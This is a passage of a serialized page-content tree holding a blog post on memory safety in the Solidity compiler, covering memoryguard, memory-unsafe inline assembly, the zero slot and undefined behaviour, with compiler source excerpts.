zero, including the contents of\n",{"type":23,"tag":139,"props":27739,"children":27740},{"class":141,"line":205},[27741],{"type":23,"tag":139,"props":27742,"children":27743},{"style":958},[27744],{"type":28,"value":27745}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":139,"props":27747,"children":27748},{"class":141,"line":214},[27749],{"type":23,"tag":139,"props":27750,"children":27751},{"style":319},[27752],{"type":28,"value":27753}," return\n",{"type":23,"tag":139,"props":27755,"children":27756},{"class":141,"line":1320},[27757],{"type":23,"tag":139,"props":27758,"children":27759},{"style":259},[27760],{"type":28,"value":27761},"  Whiskers{\n",{"type":23,"tag":139,"props":27763,"children":27764},{"class":141,"line":1329},[27765,27770],{"type":23,"tag":139,"props":27766,"children":27767},{"style":259},[27768],{"type":28,"value":27769},"   _useMemoryGuard ",{"type":23,"tag":139,"props":27771,"children":27772},{"style":982},[27773],{"type":28,"value":27774},"?\n",{"type":23,"tag":139,"props":27776,"children":27777},{"class":141,"line":1580},[27778,27783],{"type":23,"tag":139,"props":27779,"children":27780},{"style":265},[27781],{"type":28,"value":27782},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":139,"props":27784,"children":27785},{"style":982},[27786],{"type":28,"value":27787}," :\n",{"type":23,"tag":139,"props":27789,"children":27790},{"class":141,"line":1597},[27791],{"type":23,"tag":139,"props":27792,"children":27793},{"style":265},[27794],{"type":28,"value":27795},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":139,"props":27797,"children":27798},{"class":141,"line":1614},[27799],{"type":23,"tag":139,"props":27800,"children":27801},{"style":259},[27802],{"type":28,"value":3874},{"type":23,"tag":24,"props":27804,"children":27805},{},[27806,27811,27813,27819],{"type":23,"tag":135,"props":27807,"children":27809},{"className":27808},[],[27810],{"type":28,"value":27401},{"type":28,"value":27812}," will now no longer have ",{"type":23,"tag":135,"props":27814,"children":27816},{"className":27815},[],[27817],{"type":28,"value":27818},"memoryguard(0x80)",{"type":28,"value":27820}," as expected.",{"type":23,"tag":128,"props":27822,"children":27824},{"className":2476,"code":27823,"language":2475,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[27825],{"type":23,"tag":135,"props":27826,"children":27827},{"__ignoreMap":7},[27828,27843],{"type":23,"tag":139,"props":27829,"children":27830},{"class":141,"line":142},[27831,27835,27839],{"type":23,"tag":139,"props":27832,"children":27833},{"style":958},[27834],{"type":28,"value":27418},{"type":23,"tag":139,"props":27836,"children":27837},{"style":279},[27838],{"type":28,"value":27423},{"type":23,"tag":139,"props":27840,"children":27841},{"style":958},[27842],{"type":28,"value":27428},{"type":23,"tag":139,"props":27844,"children":27845},{"class":141,"line":151},[27846,27851,27855,27859,27863,27868],{"type":23,"tag":139,"props":27847,"children":27848},{"style":245},[27849],{"type":28,"value":27850},"    mstore",{"type":23,"tag":139,"props":27852,"children":27853},{"style":259},[27854],{"type":28,"value":262},{"type":23,"tag":139,"props":27856,"children":27857},{"style":1016},[27858],{"type":28,"value":27445},{"type":23,"tag":139,"props":27860,"children":27861},{"style":259},[27862],{"type":28,"value":1052},{"type":23,"tag":139,"props":27864,"children":27865},{"style":1016},[27866],{"type":28,"value":27867},"128",{"type":23,"tag":139,"props":27869,"children":27870},{"style":259},[27871],{"type":28,"value":273},{"type":23,"tag":24,"props":27873,"children":27874},{},[27875,27877,27882,27884,27889],{"type":28,"value":27876},"Semantically, the absence of ",{"type":23,"tag":135,"props":27878,"children":27880},{"className":27879},[],[27881],{"type":28,"value":27393},{"type":28,"value":27883}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":135,"props":27885,"children":27887},{"className":27886},[],[27888],{"type":28,"value":27393},{"type":28,"value":27890}," invariant.",{"type":23,"tag":90,"props":27892,"children":27893},{},[27894],{"type":23,"tag":24,"props":27895,"children":27896},{},[27897,27898,27903,27904,27909,27910,27915],{"type":28,"value":27487},{"type":23,"tag":135,"props":27899,"children":27901},{"className":27900},[],[27902],{"type":28,"value":27493},{"type":28,"value":27495},{"type":23,"tag":135,"props":27905,"children":27907},{"className":27906},[],[27908],{"type":28,"value":27501},{"type":28,"value":27503},{"type":23,"tag":135,"props":27911,"children":27913},{"className":27912},[],[27914],{"type":28,"value":11960},{"type":28,"value":73},{"type":23,"tag":24,"props":27917,"children":27918},{},[27919],{"type":28,"value":27920},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":41,"props":27922,"children":27924},{"id":27923},"undefined-behavior",[27925],{"type":28,"value":27926},"Undefined Behavior",{"type":23,"tag":24,"props":27928,"children":27929},{},[27930,27932,27937,27939,27944,27946,27952],{"type":28,"value":27931},"How strict is memory safety? When it comes to ",{"type":23,"tag":135,"props":27933,"children":27935},{"className":27934},[],[27936],{"type":28,"value":27393},{"type":28,"value":27938},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":135,"props":27940,"children":27942},{"className":27941},[],[27943],{"type":28,"value":27051},{"type":28,"value":27945}," annotated assembly that touches memory at ",{"type":23,"tag":135,"props":27947,"children":27949},{"className":27948},[],[27950],{"type":28,"value":27951},"[0x40, 0x7f]",{"type":28,"value":27953}," really safe?",{"type":23,"tag":24,"props":27955,"children":27956},{},[27957,27958,27965,27967,27972],{"type":28,"value":14625},{"type":23,"tag":64,"props":27959,"children":27962},{"href":27960,"rel":27961},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[68],[27963],{"type":28,"value":27964},"Solidity documentation",{"type":28,"value":27966}," mentions ",{"type":23,"tag":659,"props":27968,"children":27969},{},[27970],{"type":28,"value":27971},"undefined behavior",{"type":28,"value":27973}," three times.",{"type":23,"tag":797,"props":27975,"children":27976},{},[27977,27982,27997],{"type":23,"tag":801,"props":27978,"children":27979},{},[27980],{"type":28,"value":27981},"The existence of a dangling reference",{"type":23,"tag":801,"props":27983,"children":27984},{},[27985,27987],{"type":28,"value":27986},"Using verbatim improperly",{"type":23,"tag":636,"props":27988,"children":27989},{},[27990],{"type":23,"tag":64,"props":27991,"children":27995},{"href":27992,"ariaDescribedBy":27993,"dataFootnoteRef":7,"id":27994},"#user-content-fn-2",[643],"user-content-fnref-2",[27996],{"type":28,"value":1099},{"type":23,"tag":801,"props":27998,"children":27999},{},[28000],{"type":28,"value":28001},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":28003,"children":28004},{},[28005],{"type":28,"value":28006},"Why does this matter?",{"type":23,"tag":24,"props":28008,"children":28009},{},[28010,28012,28019,28021,28028],{"type":28,"value":28011},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":64,"props":28013,"children":28016},{"href":28014,"rel":28015},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[68],[28017],{"type":28,"value":28018},"signed integer overflow is undefined",{"type":28,"value":28020},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":64,"props":28022,"children":28025},{"href":28023,"rel":28024},"https://blog.regehr.org/archives/1307",[68],[28026],{"type":28,"value":28027},"years down the line",{"type":28,"value":73},{"type":23,"tag":24,"props":28030,"children":28031},{},[28032,28034,28041,28042,28047],{"type":28,"value":28033},"Going back to Solidity, the specification makes ",{"type":23,"tag":64,"props":28035,"children":28038},{"href":28036,"rel":28037},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[68],[28039],{"type":28,"value":28040},"it unambiguously clear",{"type":28,"value":765},{"type":23,"tag":659,"props":28043,"children":28044},{},[28045],{"type":28,"value":28046},"Thou shalt not modify the zero slot",{"type":28,"value":73},{"type":23,"tag":90,"props":28049,"children":28050},{},[28051],{"type":23,"tag":24,"props":28052,"children":28053},{},[28054],{"type":28,"value":28055},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":28057,"children":28058},{},[28059,28061,28066],{"type":28,"value":28060},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":659,"props":28062,"children":28063},{},[28064],{"type":28,"value":28065},"in Solidity",{"type":28,"value":73},{"type":23,"tag":24,"props":28068,"children":28069},{},[28070],{"type":28,"value":28071},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":797,"props":28073,"children":28074},{},[28075],{"type":23,"tag":801,"props":28076,"children":28077},{},[28078,28080,28087],{"type":28,"value":28079},"It very clearly ",{"type":23,"tag":64,"props":28081,"children":28084},{"href":28082,"rel":28083},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[68],[28085],{"type":28,"value":28086},"holds true today",{"type":28,"value":73},{"type":23,"tag":128,"props":28089,"children":28091},{"className":27132,"code":28090,"language":27134,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[28092],{"type":23,"tag":135,"props":28093,"children":28094},{"__ignoreMap":7},[28095,28135,28142,28155,28227,28248,28299,28306],{"type":23,"tag":139,"props":28096,"children":28097},{"class":141,"line":142},[28098,28102,28107,28112,28116,28121,28126,28131],{"type":23,"tag":139,"props":28099,"children":28100},{"style":279},[28101],{"type":28,"value":308},{"type":23,"tag":139,"props":28103,"children":28104},{"style":259},[28105],{"type":28,"value":28106}," IRGeneratorForStatements::",{"type":23,"tag":139,"props":28108,"children":28109},{"style":245},[28110],{"type":28,"value":28111},"visit",{"type":23,"tag":139,"props":28113,"children":28114},{"style":259},[28115],{"type":28,"value":262},{"type":23,"tag":139,"props":28117,"children":28118},{"style":305},[28119],{"type":28,"value":28120},"InlineAssembly",{"type":23,"tag":139,"props":28122,"children":28123},{"style":279},[28124],{"type":28,"value":28125}," const&",{"type":23,"tag":139,"props":28127,"children":28128},{"style":294},[28129],{"type":28,"value":28130}," _inlineAsm",{"type":23,"tag":139,"props":28132,"children":28133},{"style":259},[28134],{"type":28,"value":273},{"type":23,"tag":139,"props":28136,"children":28137},{"class":141,"line":151},[28138],{"type":23,"tag":139,"props":28139,"children":28140},{"style":259},[28141],{"type":28,"value":8890},{"type":23,"tag":139,"props":28143,"children":28144},{"class":141,"line":160},[28145,28150],{"type":23,"tag":139,"props":28146,"children":28147},{"style":245},[28148],{"type":28,"value":28149},"    setLocation",{"type":23,"tag":139,"props":28151,"children":28152},{"style":259},[28153],{"type":28,"value":28154},"(_inlineAsm);\n",{"type":23,"tag":139,"props":28156,"children":28157},{"class":141,"line":169},[28158,28162,28166,28170,28175,28179,28184,28189,28194,28198,28202,28206,28210,28214,28218,28223],{"type":23,"tag":139,"props":28159,"children":28160},{"style":319},[28161],{"type":28,"value":10290},{"type":23,"tag":139,"props":28163,"children":28164},{"style":259},[28165],{"type":28,"value":1042},{"type":23,"tag":139,"props":28167,"children":28168},{"style":982},[28169],{"type":28,"value":2573},{"type":23,"tag":139,"props":28171,"children":28172},{"style":294},[28173],{"type":28,"value":28174},"_inlineAsm",{"type":23,"tag":139,"props":28176,"children":28177},{"style":259},[28178],{"type":28,"value":73},{"type":23,"tag":139,"props":28180,"children":28181},{"style":245},[28182],{"type":28,"value":28183},"annotation",{"type":23,"tag":139,"props":28185,"children":28186},{"style":259},[28187],{"type":28,"value":28188},"().",{"type":23,"tag":139,"props":28190,"children":28191},{"style":294},[28192],{"type":28,"value":28193},"hasMemoryEffects",{"type":23,"tag":139,"props":28195,"children":28196},{"style":982},[28197],{"type":28,"value":12196},{"type":23,"tag":139,"props":28199,"children":28200},{"style":982},[28201],{"type":28,"value":10875},{"type":23,"tag":139,"props":28203,"children":28204},{"style":294},[28205],{"type":28,"value":28174},{"type":23,"tag":139,"props":28207,"children":28208},{"style":259},[28209],{"type":28,"value":73},{"type":23,"tag":139,"props":28211,"children":28212},{"style":245},[28213],{"type":28,"value":28183},{"type":23,"tag":139,"props":28215,"children":28216},{"style":259},[28217],{"type":28,"value":28188},{"type":23,"tag":139,"props":28219,"children":28220},{"style":294},[28221],{"type":28,"value":28222},"markedMemorySafe",{"type":23,"tag":139,"props":28224,"children":28225},{"style":259},[28226],{"type":28,"value":273},{"type":23,"tag":139,"props":28228,"children":28229},{"class":141,"line":178},[28230,28235,28239,28244],{"type":23,"tag":139,"props":28231,"children":28232},{"style":294},[28233],{"type":28,"value":28234},"        m_context",{"type":23,"tag":139,"props":28236,"children":28237},{"style":259},[28238],{"type":28,"value":73},{"type":23,"tag":139,"props":28240,"children":28241},{"style":245},[28242],{"type":28,"value":28243},"setMemoryUnsafeInlineAssemblySeen",{"type":23,"tag":139,"props":28245,"children":28246},{"style":259},[28247],{"type":28,"value":1656},{"type":23,"tag":139,"props":28249,"children":28250},{"class":141,"line":187},[28251,28256,28260,28264,28269,28274,28278,28282,28286,28290,28295],{"type":23,"tag":139,"props":28252,"children":28253},{"style":259},[28254],{"type":28,"value":28255},"    CopyTranslate bodyCopier{",{"type":23,"tag":139,"props":28257,"children":28258},{"style":294},[28259],{"type":28,"value":28174},{"type":23,"tag":139,"props":28261,"children":28262},{"style":259},[28263],{"type":28,"value":73},{"type":23,"tag":139,"props":28265,"children":28266},{"style":245},[28267],{"type":28,"value":28268},"dialect",{"type":23,"tag":139,"props":28270,"children":28271},{"style":259},[28272],{"type":28,"value":28273},"(), m_context, ",{"type":23,"tag":139,"props":28275,"children":28276},{"style":294},[28277],{"type":28,"value":28174},{"type":23,"tag":139,"props":28279,"children":28280},{"style":259},[28281],{"type":28,"value":73},{"type":23,"tag":139,"props":28283,"children":28284},{"style":245},[28285],{"type":28,"value":28183},{"type":23,"tag":139,"props":28287,"children":28288},{"style":259},[28289],{"type":28,"value":28188},{"type":23,"tag":139,"props":28291,"children":28292},{"style":294},[28293],{"type":28,"value":28294},"externalReferences",{"type":23,"tag":139,"props":28296,"children":28297},{"style":259},[28298],{"type":28,"value":14589},{"type":23,"tag":139,"props":28300,"children":28301},{"class":141,"line":196},[28302],{"type":23,"tag":139,"props":28303,"children":28304},{"emptyLinePlaceholder":15},[28305],{"type":28,"value":184},{"type":23,"tag":139,"props":28307,"children":28308},{"class":141,"line":205},[28309,28314,28318,28323,28327,28331,28335,28340],{"type":23,"tag":139,"props":28310,"children":28311},{"style":259},[28312],{"type":28,"value":28313},"    yul::Statement modified ",{"type":23,"tag":139,"props":28315,"children":28316},{"style":982},[28317],{"type":28,"value":1067},{"type":23,"tag":139,"props":28319,"children":28320},{"style":245},[28321],{"type":28,"value":28322}," bodyCopier",{"type":23,"tag":139,"props":28324,"children":28325},{"style":259},[28326],{"type":28,"value":262},{"type":23,"tag":139,"props":28328,"children":28329},{"style":294},[28330],{"type":28,"value":28174},{"type":23,"tag":139,"props":28332,"children":28333},{"style":259},[28334],{"type":28,"value":73},{"type":23,"tag":139,"props":28336,"children":28337},{"style":245},[28338],{"type":28,"value":28339},"operations",{"type":23,"tag":139,"props":28341,"children":28342},{"style":259},[28343],{"type":28,"value":28344},"());`\n",{"type":23,"tag":797,"props":28346,"children":28347},{"start":151},[28348],{"type":23,"tag":801,"props":28349,"children":28350},{},[28351],{"type":28,"value":28352},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":23,"tag":24,"props":28354,"children":28355},{},[28356],{"type":28,"value":28357},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":23,"tag":41,"props":28359,"children":28360},{"id":3313},[28361],{"type":28,"value":3316},{"type":23,"tag":24,"props":28363,"children":28364},{},[28365],{"type":28,"value":28366},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":23,"tag":24,"props":28368,"children":28369},{},[28370],{"type":28,"value":28371},"It's a promise between YUL generation and optimization.",{"type":23,"tag":784,"props":28373,"children":28375},{"className":28374,"dataFootnotes":7},[787],[28376,28381],{"type":23,"tag":41,"props":28377,"children":28379},{"className":28378,"id":643},[792],[28380],{"type":28,"value":795},{"type":23,"tag":797,"props":28382,"children":28383},{},[28384,28416],{"type":23,"tag":801,"props":28385,"children":28386},{"id":803},[28387,28389,28394,28396,28402,28404,28409,28411],{"type":28,"value":28388},"As an interesting aside, ",{"type":23,"tag":135,"props":28390,"children":28392},{"className":28391},[],[28393],{"type":28,"value":27393},{"type":28,"value":28395}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":23,"tag":135,"props":28397,"children":28399},{"className":28398},[],[28400],{"type":28,"value":28401},"memory-unsafe",{"type":28,"value":28403}," code can ",{"type":23,"tag":659,"props":28405,"children":28406},{},[28407],{"type":28,"value":28408},"decrease",{"type":28,"value":28410}," gas consumption, especially in the YUL header. ",{"type":23,"tag":64,"props":28412,"children":28414},{"href":809,"ariaLabel":810,"className":28413,"dataFootnoteBackref":7},[812],[28415],{"type":28,"value":815},{"type":23,"tag":801,"props":28417,"children":28419},{"id":28418},"user-content-fn-2",[28420,28422,28427,28429],{"type":28,"value":28421},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":23,"tag":659,"props":28423,"children":28424},{},[28425],{"type":28,"value":28426},"guarantee",{"type":28,"value":28428}," behavior with opaque bytes. ",{"type":23,"tag":64,"props":28430,"children":28433},{"href":28431,"ariaLabel":16562,"className":28432,"dataFootnoteBackref":7},"#user-content-fnref-2",[812],[28434],{"type":28,"value":815},{"type":23,"tag":817,"props":28436,"children":28437},{},[28438],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":28440},[28441,28442,28443,28444,28445,28446,28447],{"id":27037,"depth":151,"text":27040},{"id":27091,"depth":151,"text":27094},{"id":27355,"depth":151,"text":27358},{"id":27086,"depth":151,"text":27579},{"id":27923,"depth":151,"text":27926},{"id":3313,"depth":151,"text":3316},{"id":643,"depth":151,"text":795},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":28452,"date":14,"isFeatured":15,"onBlogPage":15,"tags":28453,"body":28454,"_type":831,"_id":832,"_source":833,"_file":834,"_stem":835,"_extension":836},{"src":12,"height":13,"width":13},[17,18],{"type":20,"children":28455,"toc":29073},[28456,28460,28464,28468,28472,28476,28490,28498,28502,28509,28517,28531,28600,28608,28757,28761,28765,28773,28779,28783,28787,28799,28803,28817,28831,28845,28853,28863,28867,28877,28881,28885,28893,28915,28923,28947,28951,28959,28963,28967,28971,28975,28979,28983,28993,28997,29001,29005,29009,29013,29023,29044,29048,29069],{"type":23,"tag":24,"props":28457,"children":28458},{},[28459],{"type":28,"value":29},{"type":23,"tag":24,"props":28461,"children":28462},{},[28463],{"type":28,"value":34},{"type":23,"tag":24,"props":28465,"children":28466},{},[28467],{"type":28,"value":39},{"type":23,"tag":41,"props":28469,"children":28470},{"id":43},[28471],{"type":28,"value":46},{"type":23,"tag":24,"props":28473,"children":28474},{},[28475],{"type":28,"value":51},{"type":23,"tag":24,"props":28477,"children":28478},{},[28479,28483,28484,28489],{"type":23,"tag":56,"props":28480,"children":28481},{},[28482],{"type":28,"value":60},{"type":28,"value":62},{"type":23,"tag":64,"props":28485,"children":28487},{"href":66,"rel":28486},[68],[28488],{"type":28,"value":71},{"type":28,"value":73},{"type":23,"tag":24,"props":28491,"children":28492},{},[28493,28497],{"type":23,"tag":56,"props":28494,"children":28495},{},[28496],{"type":28,"value":81},{"type":28,"value":83},{"type":23,"tag":24,"props":28499,"children":28500},{},[28501],{"type":28,"value":88},{"type":23,"tag":90,"props":28503,"children":28504},{},[28505],{"type":23,"tag":24,"props":28506,"children":28507},{},[28508],{"type":28,"value":97},{"type":23,"tag":24,"props":28510,"children":28511},{},[28512,28516],{"type":23,"tag":56,"props":28513,"children":28514},{},[28515],{"type":28,"value":105},{"type":28,"value":107},{"type":23,"tag":24,"props":28518,"children":28519},{},[28520,28524,28525,28530],{"type":23,"tag":56,"props":28521,"children":28522},{},[28523],{"type":28,"value":115},{"type":28,"value":117},{"type":23,"tag":64,"props":28526,"children":28528},{"href":120,"rel":28527},[68],[28529],{"type":28,"value":124},{"type":28,"value":126},{"type":23,"tag":128,"props":28532,"children":28533},{"className":130,"code":131,"language":132,"meta":7,"style":7},[28534],{"type":23,"tag":135,"props":28535,"children":28536},{"__ignoreMap":7},[28537,28544,28551,28558,28565,28572,28579,28586,28593],{"type":23,"tag":139,"props":28538,"children":28539},{"class":141,"line":142},[28540],{"type":23,"tag":139,"props":28541,"children":28542},{},[28543],{"type":28,"value":148},{"type":23,"tag":139,"props":28545,"children":28546},{"class":141,"line":151},[28547],{"type":23,"tag":139,"props":28548,"children":28549},{},[28550],{"type":28,"value":157},{"type":23,"tag":139,"props":28552,"children":28553},{"class":141,"line":160},[28554],{"type":23,"tag":139,"props":28555,"children":28556},{},[28557],{"type":28,"value":166},{"type":23,"tag":139,"props":28559,"children":28560},{"class":141,"line":169},[28561],{"type":23,"tag":139,"props":28562,"children":28563},{},[28564],{"type":28,"value":175},{"type":23,"tag":139,"props":28566,"children":28567},{"class":141,"line":178},[28568],{"type":23,"tag":139,"props":28569,"children":28570},{"emptyLinePlaceholder":15},[28571],{"type":28,"value":184},{"type":23,"tag":139,"props":28573,"children":28574},{"class":141,"line":187},[28575],{"type":23,"tag":139,"props":28576,"children":28577},{},[28578],{"type":28,"value":193},{"type":23,"tag":139,"props":28580,"children":28581},{"class":141,"line":196},[28582],{"type":23,"tag":139,"props":28583,"children":28584},{},[28585],{"type":28,"value":202},{"type":23,"tag":139,"props":28587,"children":28588},{"class":141,"line":205},[28589],{"type":23,"tag":139,"props":28590,"children":28591},{},[28592],{"type":28,"value":211},{"type":23,"tag":139,"props":28594,"children":28595},{"class":141,"line":214},[28596],{"type":23,"tag":139,"props":28597,"children":28598},{},[28599],{"type":28,"value":220},{"type":23,"tag":24,"props":28601,"children":28602},{},[28603,28607],{"type":23,"tag":56,"props":28604,"children":28605},{},[28606],{"type":28,"value":228},{"type":28,"value":230},{"type":23,"tag":128,"props":28609,"children":28610},{"className":233,"code":234,"language":235,"meta":7,"style":7},[28611],{"type":23,"tag":135,"props":28612,"children":28613},{"__ignoreMap":7},[28614,28621,28640,28671,28682,28689,28696,28715,28746],{"type":23,"tag":139,"props":28615,"children":28616},{"class":141,"line":142},[28617],{"type":23,"tag":139,"props":28618,"children":28619},{"style":245},[28620],{"type":28,"value":248},{"type":23,"tag":139,"props":28622,"children":28623},{"class":141,"line":151},[28624,28628,28632,28636],{"type":23,"tag":139,"props":28625,"children":28626},{"style":245},[28627],{"type":28,"value":256},{"type":23,"tag":139,"props":28629,"children":28630},{"style":259},[28631],{"type":28,"value":262},{"type":23,"tag":139,"props":28633,"children":28634},{"style":265},[28635],{"type":28,"value":268},{"type":23,"tag":139,"props":28637,"children":28638},{"style":259},[28639],{"type":28,"value":273},{"type":23,"tag":139,"props":28641,"children":28642},{"class":141,"line":160},[28643,28647,28651,28655,28659,28663,28667],{"type":23,"tag":139,"props":28644,"children":28645},{"style":279},[28646],{"type":28,"value":282},{"type":23,"tag":139,"props":28648,"children":28649},{"style":245},[28650],{"type":28,"value":287},{"type":23,"tag":139,"props":28652,"children":28653},{"style":259},[28654],{"type":28,"value":262},{"type":23,"tag":139,"props":28656,"children":28657},{"style":294},[28658],{"type":28,"value":297},{"type":23,"tag":139,"props":28660,"children":28661},{"style":259},[28662],{"type":28,"value":302},{"type":23,"tag":139,"props":28664,"children":28665},{"style":305},[28666],{"type":28,"value":308},{"type":23,"tag":139,"props":28668,"children":28669},{"style":259},[28670],{"type":28,"value":313},{"type":23,"tag":139,"props":28672,"children":28673},{"class":141,"line":169},[28674,28678],{"type":23,"tag":139,"props":28675,"children":28676},{"style":319},[28677],{"type":28,"value":322},{"type":23,"tag":139,"props":28679,"children":28680},{"style":279},[28681],{"type":28,"value":327},{"type":23,"tag":139,"props":28683,"children":28684},{"class":141,"line":178},[28685],{"type":23,"tag":139,"props":28686,"children":28687},{"emptyLinePlaceholder":15},[28688],{"type":28,"value":184},{"type":23,"tag":139,"props":28690,"children":28691},{"class":141,"line":187},[28692],{"type":23,"tag":139,"props":28693,"children":28694},{"style":245},[28695],{"type":28,"value":248},{"type":23,"tag":139,"props":28697,"children":28698},{"class":141,"line":196},[28699,28703,28707,28711],{"type":23,"tag":139,"props":28700,"children":28701},{"style":245},[28702],{"type":28,"value":256},{"type":23,"tag":139,"props":28704,"children":28705},{"style":259},[28706],{"type":28,"value":262},{"type":23,"tag":139,"props":28708,"children":28709},{"style":265},[28710],{"type":28,"value":268},{"type":23,"tag":139,"props":28712,"children":28713},{"style":259},[28714],{"type":28,"value":273},{"type":23,"tag":139,"props":28716,"children":28717},{"class":141,"line":205},[28718,28722,28726,28730,28734,28738,28742],{"type":23,"tag":139,"props":28719,"children":28720},{"style":279},[28721],{"type":28,"value":282},{"type":23,"tag":139,"props":28723,"children":28724},{"style":245},[28725],{"type":28,"value":372},{"type":23,"tag":139,"props":28727,"children":28728},{"style":259},[28729],{"type":28,"value":262},{"type":23,"tag":139,"props":28731,"children":28732},{"style":294},[28733],{"type":28,"value":297},{"type":23,"tag":139,"props":28735,"children":28736},{"style":259},[28737],{"type":28,"value":302},{"type":23,"tag":139,"props":28739,"children":28740},{"style":305},[28741],{"type":28,"value":308},{"type":23,"tag":139,"props":28743,"children":28744},{"style":259},[28745],{"type":28,"value":313},{"type":23,"tag":139,"props":28747,"children":28748},{"class":141,"line":214},[28749,28753],{"type":23,"tag":139,"props":28750,"children":28751},{"style":319},[28752],{"type":28,"value":322},{"type":23,"tag":139,"props":28754,"children":28755},{"style":279},[28756],{"type":28,"value":404},{"type":23,"tag":24,"props":28758,"children":28759},{},[28760],{"type":28,"value":409},{"type":23,"tag":24,"props":28762,"children":28763},{},[28764],{"type":28,"value":414},{"type":23,"tag":24,"props":28766,"children":28767},{},[28768,28772],{"type":23,"tag":56,"props":28769,"children":28770},{},[28771],{"type":28,"value":422},{"type":28,"value":424},{"type":23,"tag":24,"props":28774,"children":28775},{},[28776],{"type":23,"tag":429,"props":28777,"children":28778},{"alt":7,"src":431},[],{"type":23,"tag":24,"props":28780,"children":28781},{},[28782],{"type":28,"value":437},{"type":23,"tag":24,"props":28784,"children":28785},{},[28786],{"type":28,"value":442},{"type":23,"tag":90,"props":28788,"children":28789},{},[28790],{"type":23,"tag":24,"props":28791,"children":28792},{},[28793,28794],{"type":28,"value":450},{"type":23,"tag":64,"props":28795,"children":28797},{"href":453,"rel":28796},[68],[28798],{"type":28,"value":453},{"type":23,"tag":24,"props":28800,"children":28801},{},[28802],{"type":28,"value":461},{"type":23,"tag":24,"props":28804,"children":28805},{},[28806,28810,28811,28816],{"type":23,"tag":56,"props":28807,"children":28808},{},[28809],{"type":28,"value":469},{"type":28,"value":471},{"type":23,"tag":64,"props":28812,"children":28814},{"href":474,"rel":28813},[68],[28815],{"type":28,"value":478},{"type":28,"value":73},{"type":23,"tag":24,"props":28818,"children":28819},{},[28820,28824,28825,28830],{"type":23,"tag":56,"props":28821,"children":28822},{},[28823],{"type":28,"value":487},{"type":28,"value":471},{"type":23,"tag":64,"props":28826,"children":28828},{"href":491,"rel":28827},[68],[28829],{"type":28,"value":495},{"type":28,"value":73},{"type":23,"tag":24,"props":28832,"children":28833},{},[28834,28838,28839,28844],{"type":23,"tag":56,"props":28835,"children":28836},{},[28837],{"type":28,"value":504},{"type":28,"value":506},{"type":23,"tag":64,"props":28840,"children":28842},{"href":509,"rel":28841},[68],[28843],{"type":28,"value":513},{"type":28,"value":515},{"type":23,"tag":24,"props":28846,"children":28847},{},[28848,28852],{"type":23,"tag":56,"props":28849,"children":28850},{},[28851],{"type":28,"value":523},{"type":28,"value":525},{"type":23,"tag":24,"props":28854,"children":28855},{},[28856,28857,28862],{"type":28,"value":530},{"type":23,"tag":64,"props":28858,"children":28860},{"href":533,"rel":28859},[68],[28861],{"type":28,"value":537},{"type":28,"value":73},{"type":23,"tag":24,"props":28864,"children":28865},{},[28866],{"type":28,"value":543},{"type":23,"tag":24,"props":28868,"children":28869},{},[28870,28871,28876],{"type":28,"value":548},{"type":23,"tag":64,"props":28872,"children":28874},{"href":551,"rel":28873},[68],[28875],{"type":28,"value":555},{"type":28,"value":73},{"type":23,"tag":24,"props":28878,"children":28879},{},[28880],{"type":28,"value":561},{"type":23,"tag":24,"props":28882,"children":28883},{},[28884],{"type":28,"value":566},{"type":23,"tag":24,"props":28886,"children":28887},{},[28888,28892],{"type":23,"tag":56,"props":28889,"children":28890},{},[28891],{"type":28,"value":574},{"type":28,"value":576},{"type":23,"tag":90,"props":28894,"children":28895},{},[28896],{"type":23,"tag":24,"props":28897,"children":28898},{},[28899,28900,28903,28904,28907,28908,28911,28912],{"type":28,"value":584},{"type":23,"tag":586,"props":28901,"children":28902},{},[],{"type":28,"value":590},{"type":23,"tag":586,"props":28905,"children":28906},{},[],{"type":28,"value":595},{